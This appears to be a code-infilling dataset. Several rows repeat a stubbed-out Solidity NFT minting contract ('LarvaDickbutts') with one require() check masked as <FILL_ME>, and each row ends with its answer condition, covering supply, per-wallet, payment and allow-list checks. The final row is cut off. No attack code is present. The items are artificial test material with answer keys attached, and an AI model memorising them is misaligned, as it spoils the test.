function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| totalMinted+count<=maxSupply,"All tokens are gone" | 234,362 | totalMinted+count<=maxSupply |
"Exceeded max mints allowed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
uint256 totalMinted = _totalMinted();
require(count > 0, "Invalid token count");
require(totalMinted + count <= maxSupply, "All tokens are gone");
if (isPublicMintActive) {
if (msg.sender != owner()) {
require(<FILL_ME>)
require(count * publicMintPrice == msg.value, "Incorrect amount of ether sent");
}
require(msg.sender == tx.origin, "EOAs only");
}
uint256 batchCount = count / MAX_BATCH_MINT;
uint256 remainder = count % MAX_BATCH_MINT;
for (uint256 i = 0; i < batchCount; i++) {
_mint(recipient, MAX_BATCH_MINT);
}
if (remainder > 0) {
_mint(recipient, remainder);
}
return totalMinted;
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| _numberMinted(msg.sender)+count<=maxPerAddress,"Exceeded max mints allowed" | 234,362 | _numberMinted(msg.sender)+count<=maxPerAddress |
"Incorrect amount of ether sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
uint256 totalMinted = _totalMinted();
require(count > 0, "Invalid token count");
require(totalMinted + count <= maxSupply, "All tokens are gone");
if (isPublicMintActive) {
if (msg.sender != owner()) {
require(_numberMinted(msg.sender) + count <= maxPerAddress, "Exceeded max mints allowed");
require(<FILL_ME>)
}
require(msg.sender == tx.origin, "EOAs only");
}
uint256 batchCount = count / MAX_BATCH_MINT;
uint256 remainder = count % MAX_BATCH_MINT;
for (uint256 i = 0; i < batchCount; i++) {
_mint(recipient, MAX_BATCH_MINT);
}
if (remainder > 0) {
_mint(recipient, remainder);
}
return totalMinted;
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| count*publicMintPrice==msg.value,"Incorrect amount of ether sent" | 234,362 | count*publicMintPrice==msg.value |
"Not on allow list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
if (!isPublicMintActive && msg.sender != owner()) {
require(<FILL_ME>)
require(_numberMinted(msg.sender) + count <= maxPerAllowList, "Exceeded max mints allowed");
require(count * allowListPrice == msg.value, "Incorrect amount of ether sent");
}
return handleMint(count, msg.sender);
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| onAllowList(msg.sender,merkleProof),"Not on allow list" | 234,362 | onAllowList(msg.sender,merkleProof) |
"Exceeded max mints allowed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
if (!isPublicMintActive && msg.sender != owner()) {
require(onAllowList(msg.sender, merkleProof), "Not on allow list");
require(<FILL_ME>)
require(count * allowListPrice == msg.value, "Incorrect amount of ether sent");
}
return handleMint(count, msg.sender);
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| _numberMinted(msg.sender)+count<=maxPerAllowList,"Exceeded max mints allowed" | 234,362 | _numberMinted(msg.sender)+count<=maxPerAllowList |
"Incorrect amount of ether sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
